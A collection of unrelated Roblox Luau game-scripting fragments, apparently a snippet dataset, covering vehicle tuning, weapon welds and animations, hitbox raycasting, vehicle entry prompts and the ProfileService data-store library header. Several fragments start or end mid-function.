script.Parent.Owner.Value = sitted.Name
print ("sitted steal")
else
print ("stolen!!")
local shipstealer = game.Workspace:FindFirstChild(sitted.Name)
if (shipstealer ~= nil) then
shipstealer.Humanoid.Jump=true
end
end
end
wait(0.2)
if (welde == nil) then
print("BreakLoop")
script.Parent.Owner.Value = "NoOne"
break end
end
end
end
|
-- Hover Sound
|
local Hovered = false
script.Parent.MouseEnter:Connect(function()
if Hovered == false then
Hovered = true
script.HoverSound:Play()
end
end)
script.Parent.MouseLeave:Connect(function()
if Hovered == true then
Hovered = false
end
end)
|
----------------------------------------------------------------------------------------------------------------
|
function GunUp()
Holstered = false
Tool.Enabled = true
torso = Tool.Parent:FindFirstChild("Torso")
if torso ~= nil then
torso.weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(290), math.rad(10), math.rad(-90))
torso.weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
end
end
function GunDown()
Holstered = true
Tool.Enabled = false -- You don't want to be shooting if your not aiming
torso = Tool.Parent:FindFirstChild("Torso")
if torso ~= nil then
torso.weld1.C1 = CFrame.new(-.1, 1.25, .6) * CFrame.fromEulerAnglesXYZ(math.rad(280), math.rad(-10), math.rad(-80))
torso.weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-70), math.rad(-25), math.rad(0))
end
end
|
--//Server Animations
|
RightHighReady = CFrame.new(-1, -1, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0));
LeftHighReady = CFrame.new(.85,-0.35,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15));
RightLowReady = CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0));
LeftLowReady = CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25));
RightPatrol = CFrame.new(-1, -.35, -1.5) * CFrame.Angles(math.rad(-80), math.rad(-80), math.rad(0));
LeftPatrol = CFrame.new(1,1.25,-.75) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25));
RightAim = CFrame.new(-.575, 0.1, -1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0));
LeftAim = CFrame.new(1.4,0.25,-1.45) * CFrame.Angles(math.rad(-120),math.rad(35),math.rad(-25));
RightSprint = CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0));
LeftSprint = CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25));
ShootPos = CFrame.new(0,0,.25);
}
return module
|
--!strict
|
local BloxbizSDK = script.Parent.Parent.Parent.Parent
local UtilsStorage = BloxbizSDK:FindFirstChild("Utils")
local Fusion = require(UtilsStorage:WaitForChild("Fusion"))
return function(radius: number?): Instance
return Fusion.New("UICorner")({
CornerRadius = UDim.new(0, radius or 16),
})
end
|
-- Table containing player data
|
local sessionData = {}
local NEW_PLAYER_DATA = {
Points = GameSettings.startPoints,
Upgrades = GameSettings.startUpgrades,
TotalPoints = GameSettings.startPoints,
RedeemedCodes = {},
}
|
-- When a player with the game pass touches the door, teleport them to the other side
|
local function OnTouched(otherPart)
if otherPart and otherPart.Parent and otherPart.Parent:FindFirstChild('Humanoid') then
local player = PlayersService:GetPlayerFromCharacter(otherPart.Parent)
if player and not JustTouched[player] then
JustTouched[player] = time()
if GamePassService:PlayerHasPass(player, GamePassIdObject.Value) then
TeleportToOtherSide(player.Character, otherPart)
end
end
end
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 500 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--!strict
|
local Types = require(script.Parent.Parent.Parent.Types)
return function(player: Player): Types.PlayerContainer
return { kind = "single", value = player }
end
|
--First build your Gun, make sure all the parts and Non-Colliding and Not Anchored.
--Second put these parts inside the Tool (Call one of the parts 'Handle' and the rest 'Part'
--Lastly, make/get your gun script and test it out!
|
local prev
local parts = script.Parent:GetChildren()
for i = 1,#parts do
if (parts[i].className == "Part") or (parts[i].className == "VehicleSeat") then
if (prev ~= nil)then
local weld = Instance.new("Weld")
weld.Part0 = prev
weld.Part1 = parts[i]
weld.C0 = prev.CFrame:inverse()
weld.C1 = parts[i].CFrame:inverse()
weld.Parent = prev
end
prev = parts[i]
end
end
|
---SG Is Here---
---Please Dont Change Anything Can Dont Work If You Change--
|
local player = game.Players.LocalPlayer
local stats = player:WaitForChild("leaderstats")
local coins = stats:WaitForChild("Clicks")
local text = script.Parent
text.Text = "Clicks: "..coins.Value
coins:GetPropertyChangedSignal("Value"):Connect(function()
text.Text = "Clicks: "..coins.Value
end)
|
--[[
Calls a callback on `finally` with specific arguments.
]]
|
function Promise.prototype:finallyCall(callback, ...)
assert(type(callback) == "function", string.format(ERROR_NON_FUNCTION, "Promise:finallyCall"))
local length, values = pack(...)
return self:_finally(debug.traceback(nil, 2), function()
return callback(unpack(values, 1, length))
end)
end
Promise.prototype.FinallyCall = Promise.prototype.finallyCall
|
--[[
[ Note: Make sure to invoke these remotes using :Invoke(), and also invoke them from the SERVER, not from the client. ]
- GiveItems [instance Player] [string Item name] (optional number amount)
- SetTicks [number Ticks] -- Changes time of day
- Gamemode does not work yet.
]]
|
return nil
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 330 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 9000 -- Use sliders to manipulate values
Tune.Redline = 9000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5600
Tune.PeakSharpness = 25
Tune.CurveMult = 0.55
--Incline Compensation
Tune.InclineComp = 1.3 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--------
|
Thread:Spawn(function()
while true do
for Index, Object in ipairs(ActiveHitboxes) do
if Object.deleted then
Handler:remove(Object.object)
else
for _, Point in ipairs(Object.points) do
if not Object.active then
Point.LastPosition = nil
else
local rayStart, rayDir, RelativePointToWorld, debugPart = Point.solver:solve(Point, game:GetService("ReplicatedStorage"):WaitForChild("ClientSettings").Debug.Value)
local function castFunction(rayStart, rayDir, params)
local resultOfCast = workspace:Raycast(rayStart, rayDir, params)
if resultOfCast then
local hitInstance = resultOfCast.Instance
if hitInstance.Parent:IsA("Accoutrement") then
table.insert(params.FilterDescendantsInstances, hitInstance)
resultOfCast = nil
end
end
return resultOfCast
end
local raycastResult = castFunction(rayStart, rayDir, Object.raycastParams)
Point.solver:lastPosition(Point, RelativePointToWorld)
if raycastResult then
local hitPart = raycastResult.Instance
local findModel = not Object.partMode and hitPart:FindFirstAncestorOfClass("Model")
local humanoid = findModel and findModel:FindFirstChildOfClass("Humanoid")
local target = humanoid or (Object.partMode and hitPart)
if target and not Object.targetsHit[target] then
Object.targetsHit[target] = true
if debugPart ~= nil and typeof(debugPart) == "Instance" then
debugPart.Color = Color3.fromRGB(85, 255, 0)
end
Object.OnHit:Fire(hitPart, humanoid, raycastResult, Point.group)
end
end
if Object.endTime > 0 then
if Object.endTime <= clock() then
Object.endTime = 0
Object:HitStop()
end
end
Object.OnUpdate:Fire(Point.LastPosition)
end
end
end
end
Thread:Wait(0.028)
end
end)
return Handler
|
--Tell if a seat is flipped
|
local function isFlipped(Seat)
local UpVector = Seat.CFrame.upVector
local Angle = math.deg(math.acos(UpVector:Dot(Vector3.new(0, 1, 0))))
return Angle >= MIN_FLIP_ANGLE
end
local function createPrompt(prompt, inputType)
local seat = prompt.Parent.Parent
local buttonGui = script:WaitForChild("ButtonGuiPrototype")
local promptUI = buttonGui:Clone()
promptUI.Name = "ButtonGui"
promptUI.Enabled = true
promptUI.Adornee = prompt.Parent
local EnterImageButton = promptUI:WaitForChild("ButtonImage")
local FlipImageButton = promptUI:WaitForChild("FlipImage")
local BackgroundDesktop = promptUI:WaitForChild("BackgroundDesktop")
local BackgroundConsole = promptUI:WaitForChild("BackgroundConsole")
local ButtonPrompt = promptUI:WaitForChild("ButtonPrompt")
--Switch button type
local DriverButtonId
local DriverButtonPressedId
local PassengerButtonId
local PassengerButtonPressedId
if inputType == Enum.ProximityPromptInputType.Keyboard then
DriverButtonId = "rbxassetid://2848250902"
DriverButtonPressedId = "rbxassetid://2848250902"
PassengerButtonId = "rbxassetid://2848251564"
PassengerButtonPressedId = "rbxassetid://2848251564"
EnterImageButton.Size = UDim2.new(0, 36, 0, 36)
FlipImageButton.Image = "rbxassetid://2848307983"
FlipImageButton:WaitForChild("Pressed").Image = "rbxassetid://2848307983"
FlipImageButton.Size = UDim2.new(0, 44, 0, 44)
BackgroundConsole.Visible = false
BackgroundDesktop.Visible = true
BackgroundDesktop.Size = UDim2.new(0, 97, 0, 46)
BackgroundDesktop.Position = UDim2.new(0.5, 28, 0.5, 0)
ButtonPrompt.Visible = true
ButtonPrompt.Image = "rbxassetid://2935912536"
ButtonPrompt.Size = UDim2.new(0, 36, 0, 36)
ButtonPrompt.Position = UDim2.new(0.5, -46, 0.5, 0)
ButtonPrompt.TextLabel.Visible = true
--Display the correct key
ButtonPrompt.TextLabel.Text = Keymap.EnterVehicleKeyboard.Name
elseif inputType == Enum.ProximityPromptInputType.Gamepad then
DriverButtonId = "rbxassetid://2848635029"
DriverButtonPressedId = "rbxassetid://2848635029"
PassengerButtonId = "rbxassetid://2848636545"
PassengerButtonPressedId = "rbxassetid://2848636545"
EnterImageButton.Size = UDim2.new(0, 60, 0, 60)
FlipImageButton.Image = "rbxassetid://2848307983"
FlipImageButton:WaitForChild("Pressed").Image = "rbxassetid://2848307983"
FlipImageButton.Size = UDim2.new(0, 44, 0, 44)
BackgroundDesktop.Visible = false
BackgroundConsole.Visible = true
BackgroundConsole.Size = UDim2.new(0, 136, 0, 66)
BackgroundConsole.Position = UDim2.new(0.5, 40, 0.5, 0)
ButtonPrompt.Visible = true
--ButtonPrompt.Image = "rbxassetid://408462759"
ButtonPrompt.Size = UDim2.new(0, 46, 0, 46)
ButtonPrompt.Position = UDim2.new(0.5, -63, 0.5, 0)
ButtonPrompt.ImageRectSize = Vector2.new(71, 71)
ButtonPrompt.ImageRectOffset = Vector2.new(512, 600)
ButtonPrompt.TextLabel.Visible = false
--Set the correct image for the gamepad button prompt
local template = InputImageLibrary:GetImageLabel(Keymap.EnterVehicleGamepad, "Light")
ButtonPrompt.Image = template.Image
ButtonPrompt.ImageRectOffset = template.ImageRectOffset
ButtonPrompt.ImageRectSize = template.ImageRectSize
elseif inputType == Enum.ProximityPromptInputType.Touch then
BackgroundDesktop.Visible = false
BackgroundConsole.Visible = false
ButtonPrompt.Visible = false
DriverButtonId = "rbxassetid://2847898200"
DriverButtonPressedId = "rbxassetid://2847898354"
PassengerButtonId = "rbxassetid://2848217831"
PassengerButtonPressedId = "rbxassetid://2848218107"
EnterImageButton.Size = UDim2.new(0, 44, 0, 44)
FlipImageButton.Image = "rbxassetid://2848187559"
FlipImageButton:WaitForChild("Pressed").Image = "rbxassetid://2848187982"
FlipImageButton.Size = UDim2.new(0, 44, 0, 44)
EnterImageButton.InputBegan:Connect(function(input)
prompt:InputHoldBegin()
end)
EnterImageButton.InputEnded:Connect(function(input)
prompt:InputHoldEnd()
end)
FlipImageButton.InputBegan:Connect(function(input)
prompt:InputHoldBegin()
end)
FlipImageButton.InputEnded:Connect(function(input)
prompt:InputHoldEnd()
end)
promptUI.Active = true
end
if isFlipped(seat) then
FlipImageButton.Visible = true
EnterImageButton.Visible = false
else
FlipImageButton.Visible = false
EnterImageButton.Visible = true
end
if seat.Name == "VehicleSeat" then
EnterImageButton.Image = DriverButtonId
EnterImageButton.Pressed.Image = DriverButtonPressedId
else
EnterImageButton.Image = PassengerButtonId
EnterImageButton.Pressed.Image = PassengerButtonPressedId
end
return promptUI
end
ProximityPromptService.PromptShown:Connect(function(prompt, inputType)
if prompt.Name == "EndorsedVehicleProximityPromptV1" then
local promptUI = createPrompt(prompt, inputType)
promptUI.Parent = screenGui
prompt.PromptHidden:Wait()
promptUI.Parent = nil
end
end)
|
--// Bullet Physics
|
BulletPhysics = Vector3.new(0,58,0); -- Drop fixation: Lower number = more drop
BulletSpeed = 1200; -- Bullet Speed
BulletSpread = 0; -- How much spread the bullet has
ExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds
ExploSpeed = 600; -- Speed for explosive rounds
BulletDecay = 120; -- How far the bullet travels before slowing down and being deleted (BUGGY)
|
-- constants
|
local PLAYER = Players.LocalPlayer
local REMOTES = ReplicatedStorage:WaitForChild("Remotes")
local GUI = script.Parent
local INFO_GUI = GUI:WaitForChild("InfoFrame")
local MAP_GUI = GUI:WaitForChild("Minimap")
|
----------------------------------------------------------------------------------------------------
------------------=[ Status UI ]=-------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,EnableStatusUI = true --- Don't disabled it...
,RunWalkSpeed = 18
,NormalWalkSpeed = 12
,SlowPaceWalkSpeed = 6
,CrouchWalkSpeed = 6
,ProneWalksSpeed = 3
,InjuredWalksSpeed = 8
,InjuredCrouchWalkSpeed = 4
,EnableHunger = false --- Hunger and Thirst system (Removed)
,HungerWaitTime = 25
,CanDrown = true --- Glub glub glub *ded*
,EnableStamina = false --- Weapon Sway based on stamina (Unused)
,RunValue = 1 --- Stamina consumption
,StandRecover = .25 --- Stamina recovery while stading
,CrouchRecover = .5 --- Stamina recovery while crouching
,ProneRecover = 1 --- Stamina recovery while lying
,EnableGPS = false --- GPS shows your allies around you
,GPSdistance = 150
,InteractionMenuKey = Enum.KeyCode.LeftAlt
|
-- local Madwork = _G.Madwork
--[[
{Madwork}
-[ProfileService]---------------------------------------
(STANDALONE VERSION)
DataStore profiles - universal session-locked savable table API
Official documentation:
https://madstudioroblox.github.io/ProfileService/
DevForum discussion:
https://devforum.roblox.com/t/ProfileService/667805
WARNINGS FOR "Profile.Data" VALUES:
! Do not create numeric tables with gaps - attempting to replicate such tables will result in an error;
! Do not create mixed tables (some values indexed by number and others by string key), as only
the data indexed by number will be replicated.
! Do not index tables by anything other than numbers and strings.
! Do not reference Roblox Instances
! Do not reference userdata (Vector3, Color3, CFrame...) - Serialize userdata before referencing
! Do not reference functions
WARNING: Calling ProfileStore:LoadProfileAsync() with a "profile_key" which wasn't released in the SAME SESSION will result
in an error! If you want to "ProfileStore:LoadProfileAsync()" instead of using the already loaded profile, :Release()
the old Profile object.
Members:
ProfileService.ServiceLocked [bool]
ProfileService.IssueSignal [ScriptSignal] (error_message, profile_store_name, profile_key)
ProfileService.CorruptionSignal [ScriptSignal] (profile_store_name, profile_key)
ProfileService.CriticalStateSignal [ScriptSignal] (is_critical_state)
Functions:
ProfileService.GetProfileStore(profile_store_index, profile_template) --> [ProfileStore]
profile_store_index [string] -- DataStore name
OR
profile_store_index [table]: -- Allows the developer to define more GlobalDataStore variables
{
Name = "StoreName", -- [string] -- DataStore name
-- Optional arguments:
Scope = "StoreScope", -- [string] -- DataStore scope
}
profile_template [table] -- Profiles will default to given table (hard-copy) when no data was saved previously
ProfileService.IsLive() --> [bool] -- (CAN YIELD!!!)
-- Returns true if ProfileService is connected to live Roblox DataStores
Members [ProfileStore]:
ProfileStore.Mock [ProfileStore] -- Reflection of ProfileStore methods, but the methods will use a mock DataStore
Methods [ProfileStore]:
ProfileStore:LoadProfileAsync(profile_key, not_released_handler) --> [Profile] or nil -- not_released_handler(place_id, game_job_id)
profile_key [string] -- DataStore key
not_released_handler nil or []: -- Defaults to "ForceLoad"
[string] "ForceLoad" -- Force loads profile on first call
OR
[string] "Steal" -- Steals the profile ignoring it's session lock
OR
[function] (place_id, game_job_id) --> [string] "Repeat", "Cancel", "ForceLoad" or "Steal"
place_id [number] or nil
game_job_id [string] or nil
-- not_released_handler [function] will be triggered in cases where the profile is not released by a session. This
-- function may yield for as long as desirable and must return one of three string values:
["Repeat"] - ProfileService will repeat the profile loading proccess and may trigger the release handler again
["Cancel"] - ProfileStore:LoadProfileAsync() will immediately return nil
["ForceLoad"] - ProfileService will repeat the profile loading call, but will return Profile object afterwards
and release the profile for another session that has loaded the profile
["Steal"] - The profile will usually be loaded immediately, ignoring an existing remote session lock and applying
a session lock for this session.
ProfileStore:GlobalUpdateProfileAsync(profile_key, update_handler) --> [GlobalUpdates] or nil
-- Returns GlobalUpdates object if update was successful, otherwise returns nil
profile_key [string] -- DataStore key
update_handler [function] (global_updates [GlobalUpdates])
ProfileStore:ViewProfileAsync(profile_key, version) --> [Profile] or nil
-- Reads profile without requesting a session lock; Data will not be saved and profile doesn't need to be released
profile_key [string] -- DataStore key
version nil or [string] -- DataStore key version
ProfileStore:ProfileVersionQuery(profile_key, sort_direction, min_date, max_date) --> [ProfileVersionQuery]
profile_key [string]
sort_direction nil or [Enum.SortDirection]
min_date nil or [DateTime]
max_date nil or [DateTime]
ProfileStore:WipeProfileAsync(profile_key) --> is_wipe_successful [bool]
-- Completely wipes out profile data from the DataStore / mock DataStore with no way to recover it.
* Parameter description for "ProfileStore:GlobalUpdateProfileAsync()":
profile_key [string] -- DataStore key
update_handler [function] (GlobalUpdates) -- This function gains access to GlobalUpdates object methods
(update_handler can't yield)
Methods [ProfileVersionQuery]:
ProfileVersionQuery:NextAsync() --> [Profile] or nil -- (Yields)
-- Returned profile has the same rules as profile returned by :ViewProfileAsync()
Members [Profile]:
Profile.Data [table] -- Writable table that gets saved automatically and once the profile is released
Profile.MetaData [table] (Read-only) -- Information about this profile
Profile.MetaData.ProfileCreateTime [number] (Read-only) -- os.time() timestamp of profile creation
Profile.MetaData.SessionLoadCount [number] (Read-only) -- Amount of times the profile was loaded
Profile.MetaData.ActiveSession [table] (Read-only) {place_id, game_job_id} / nil -- Set to a session link if a
game session is currently having this profile loaded; nil if released
Profile.MetaData.MetaTags [table] {["tag_name"] = tag_value, ...} -- Saved and auto-saved just like Profile.Data
Profile.MetaData.MetaTagsLatest [table] (Read-only) -- Latest version of MetaData.MetaTags that was definetly saved to DataStore
(You can use Profile.MetaData.MetaTagsLatest for product purchase save confirmation, but create a system to clear old tags after
they pile up)
Profile.MetaTagsUpdated [ScriptSignal] (meta_tags_latest) -- Fires after every auto-save, after
-- Profile.MetaData.MetaTagsLatest has been updated with the version that's guaranteed to be saved;
-- .MetaTagsUpdated will fire regardless of whether .MetaTagsLatest changed after update;
-- .MetaTagsUpdated may fire after the Profile is released - changes to Profile.Data are not saved
-- after release.
Profile.RobloxMetaData [table] -- Writable table that gets saved automatically and once the profile is released
Profile.UserIds [table] -- (Read-only) -- {user_id [number], ...} -- User ids associated with this profile
Profile.KeyInfo [DataStoreKeyInfo]
Profile.KeyInfoUpdated [ScriptSignal] (key_info [DataStoreKeyInfo])
Profile.GlobalUpdates [GlobalUpdates]
Methods [Profile]:
-- SAFE METHODS - Will not error after profile expires:
Profile:IsActive() --> [bool] -- Returns true while the profile is active and can be written to
Profile:GetMetaTag(tag_name) --> value [any]
tag_name [string]
Profile:Reconcile() -- Fills in missing (nil) [string_key] = [value] pairs to the Profile.Data structure
Profile:ListenToRelease(listener) --> [ScriptConnection] (place_id / nil, game_job_id / nil)
-- WARNING: Profiles can be released externally if another session force-loads
-- this profile - use :ListenToRelease() to handle player leaving cleanup.
Profile:Release() -- Call after the session has finished working with this profile
e.g., after the player leaves (Profile object will become expired) (Does not yield)
Profile:ListenToHopReady(listener) --> [ScriptConnection] () -- Passed listener will be executed after the releasing UpdateAsync call finishes;
-- Wrap universe teleport requests with this method AFTER releasing the profile to improve session lock sharing between universe places;
-- :ListenToHopReady() will usually call the listener in around a second, but may ocassionally take up to 7 seconds when a release happens
-- next to an auto-update in regular usage scenarios.
Profile:AddUserId(user_id) -- Associates user_id with profile (GDPR compliance)
user_id [number]
Profile:RemoveUserId(user_id) -- Unassociates user_id with profile (safe function)
user_id [number]
Profile:Identify() --> [string] -- Returns a string containing DataStore name, scope and key; Used for debug;
-- Example return: "[Store:"GameData";Scope:"Live";Key:"Player_2312310"]"
Profile:SetMetaTag(tag_name, value) -- Equivalent of Profile.MetaData.MetaTags[tag_name] = value
tag_name [string]
value [any]
Profile:Save() -- Call to quickly progress global update state or to speed up save validation processes (Does not yield)
-- VIEW-MODE ONLY:
Profile:ClearGlobalUpdates() -- Clears all global updates data from a profile payload
Profile:OverwriteAsync() -- (Yields) Saves the profile payload to the DataStore and removes the session lock
Methods [GlobalUpdates]:
-- ALWAYS PUBLIC:
GlobalUpdates:GetActiveUpdates() --> [table] {{update_id, update_data [table]}, ...}
GlobalUpdates:GetLockedUpdates() --> [table] {{update_id, update_data [table]}, ...}
-- ONLY WHEN FROM "Profile.GlobalUpdates":
GlobalUpdates:ListenToNewActiveUpdate(listener) --> [ScriptConnection] (update_id, update_data)
update_data [table]
GlobalUpdates:ListenToNewLockedUpdate(listener) --> [ScriptConnection] (update_id, update_data)
update_data [table]
GlobalUpdates:LockActiveUpdate(update_id) -- WARNING: will error after profile expires
GlobalUpdates:ClearLockedUpdate(update_id) -- WARNING: will error after profile expires
-- EXPOSED TO "update_handler" DURING ProfileStore:GlobalUpdateProfileAsync() CALL
GlobalUpdates:AddActiveUpdate(update_data)
update_data [table]
GlobalUpdates:ChangeActiveUpdate(update_id, update_data)
update_data [table]
GlobalUpdates:ClearActiveUpdate(update_id)
--]]
|
local SETTINGS = {
AutoSaveProfiles = 30, -- Seconds (This value may vary - ProfileService will split the auto save load evenly in the given time)
RobloxWriteCooldown = 7, -- Seconds between successive DataStore calls for the same key
ForceLoadMaxSteps = 8, -- Steps taken before ForceLoad request steals the active session for a profile
AssumeDeadSessionLock = 30 * 60, -- (seconds) If a profile hasn't been updated for 30 minutes, assume the session lock is dead
-- As of writing, os.time() is not completely reliable, so we can only assume session locks are dead after a significant amount of time.
IssueCountForCriticalState = 5, -- Issues to collect to announce critical state
IssueLast = 120, -- Seconds
CriticalStateLast = 120, -- Seconds
MetaTagsUpdatedValues = { -- Technical stuff - do not alter
ProfileCreateTime = true,
SessionLoadCount = true,
ActiveSession = true,
ForceLoadSession = true,
LastUpdate = true,
},
}
local Madwork -- Standalone Madwork reference for portable version of ProfileService
do
local MadworkScriptSignal = {}
local FreeRunnerThread = nil
local function AcquireRunnerThreadAndCallEventHandler(fn, ...)
local acquired_runner_thread = FreeRunnerThread
FreeRunnerThread = nil
fn(...)
FreeRunnerThread = acquired_runner_thread
end
local function RunEventHandlerInFreeThread(...)
AcquireRunnerThreadAndCallEventHandler(...)
while true do
AcquireRunnerThreadAndCallEventHandler(coroutine.yield())
end
end
-- ScriptConnection object:
local ScriptConnection = {
--[[
_listener = listener,
_script_signal = script_signal,
_disconnect_listener = disconnect_listener,
_disconnect_param = disconnect_param,
_next = next_script_connection,
_is_connected = is_connected,
--]]
}
ScriptConnection.__index = ScriptConnection
function ScriptConnection:Disconnect()
if self._is_connected == false then
return
end
self._is_connected = false
self._script_signal._listener_count -= 1
if self._script_signal._head == self then
self._script_signal._head = self._next
else
local prev = self._script_signal._head
while prev ~= nil and prev._next ~= self do
prev = prev._next
end
if prev ~= nil then
prev._next = self._next
end
end
if self._disconnect_listener ~= nil then
if not FreeRunnerThread then
FreeRunnerThread = coroutine.create(RunEventHandlerInFreeThread)
end
task.spawn(FreeRunnerThread, self._disconnect_listener, self._disconnect_param)
self._disconnect_listener = nil
end
end
-- ScriptSignal object:
local ScriptSignal = {
--[[
_head = nil,
_listener_count = 0,
--]]
}
ScriptSignal.__index = ScriptSignal
function ScriptSignal:Connect(listener, disconnect_listener, disconnect_param) --> [ScriptConnection]
local script_connection = {
_listener = listener,
_script_signal = self,
_disconnect_listener = disconnect_listener,
_disconnect_param = disconnect_param,
_next = self._head,
_is_connected = true,
}
setmetatable(script_connection, ScriptConnection)
self._head = script_connection
self._listener_count += 1
return script_connection
end
function ScriptSignal:GetListenerCount() --> [number]
return self._listener_count
end
function ScriptSignal:Fire(...)
local item = self._head
while item ~= nil do
if item._is_connected == true then
if not FreeRunnerThread then
FreeRunnerThread = coroutine.create(RunEventHandlerInFreeThread)
end
task.spawn(FreeRunnerThread, item._listener, ...)
end
item = item._next
end
end
function ScriptSignal:FireUntil(continue_callback, ...)
local item = self._head
while item ~= nil do
if item._is_connected == true then
item._listener(...)
if continue_callback() ~= true then
return
end
end
item = item._next
end
end
function MadworkScriptSignal.NewScriptSignal() --> [ScriptSignal]
return {
_head = nil,
_listener_count = 0,
Connect = ScriptSignal.Connect,
GetListenerCount = ScriptSignal.GetListenerCount,
Fire = ScriptSignal.Fire,
FireUntil = ScriptSignal.FireUntil,
}
end
-- Madwork framework namespace:
Madwork = {
NewScriptSignal = MadworkScriptSignal.NewScriptSignal,
ConnectToOnClose = function(task, run_in_studio_mode)
if game:GetService("RunService"):IsStudio() == false or run_in_studio_mode == true then
game:BindToClose(task)
end
end,
}
end
|
--[[Susupension]]
|
Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS
Tune.LegacySusEn = true -- Sets whether suspension is enabled for Legacy Physics (Same values may vary in tune)
--Front Suspension
Tune.FSusStiffness = 25000 -- Spring Force
Tune.FSusDamping = 400 -- Spring Dampening
Tune.FAntiRoll = 400 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 1.9 -- Resting Suspension length (in studs)
Tune.FPreCompress = .1 -- Pre-compression adds resting length force
Tune.FExtensionLim = .4 -- Max Extension Travel (in studs)
Tune.FCompressLim = .2 -- Max Compression Travel (in studs)
Tune.FSusAngle = 75 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusStiffness = 20000 -- Spring Force
Tune.RSusDamping = 400 -- Spring Dampening
Tune.RAntiRoll = 400 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2.1 -- Resting Suspension length (in studs)
Tune.RPreCompress = .1 -- Pre-compression adds resting length force
Tune.RExtensionLim = .4 -- Max Extension Travel (in studs)
Tune.RCompressLim = .2 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics (PGS ONLY)
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bronze" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 8 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--[[
Connects the events for UI state.
Connects the events for item addition/removal in the given store.
The `selector` is a function that takes the store's state as an argument and
returns the items table from it.
Returns a Rodux Signal class. This has the same API as RBXScriptSignal but
lowercase. For example:
```lua
local store = Rodux.Store.new(reducer)
local conn = itemEvents.connect(store)
conn:disconnect()
```
]]
|
function itemEvents.connect(store, selector: (table) -> itemInfo.State)
return store.changed:connect(function(newState: table, oldState: table)
local oldItemInfo = selector(oldState)
local newItemInfo = selector(newState)
if oldItemInfo == newItemInfo then
return
end
for newId, newInfo in pairs(newItemInfo) do
if not oldItemInfo[newId] then
-- IDs are converted to number for consistency with the addItemAsync API
itemEvents.itemAdded:Fire(tonumber(newId), newInfo)
end
end
for oldId, _ in pairs(oldItemInfo) do
if not newItemInfo[oldId] then
itemEvents.itemRemoved:Fire(tonumber(oldId))
end
end
end)
end
return itemEvents
|
-- при добавлении и удалении потомка
|
sf.ChildAdded:Connect(UpdateSize)
sf.ChildRemoved:Connect(UpdateSize)
|
--// F key, Horn
|
uis.InputEnded:connect(function(input)
if input.KeyCode==Enum.KeyCode.ButtonL3 or input.KeyCode==Enum.KeyCode.F then
script.Parent.Parent.Horn.TextTransparency = 0.8
veh.Lightbar.middle.Airhorn:Stop()
veh.Lightbar.middle.Wail.Volume = 1
veh.Lightbar.middle.Yelp.Volume = 1
veh.Lightbar.middle.Priority.Volume = 1
script.Parent.Parent.MBOV.Visible = true
script.Parent.Parent.MBOV.Text = "Made by OfficerVargas"
end
end)
uis.InputBegan:connect(function(input)
if input.Keycode==Enum.KeyCode.LeftBracket then
veh.Lightbar.middle.Beep:Play()
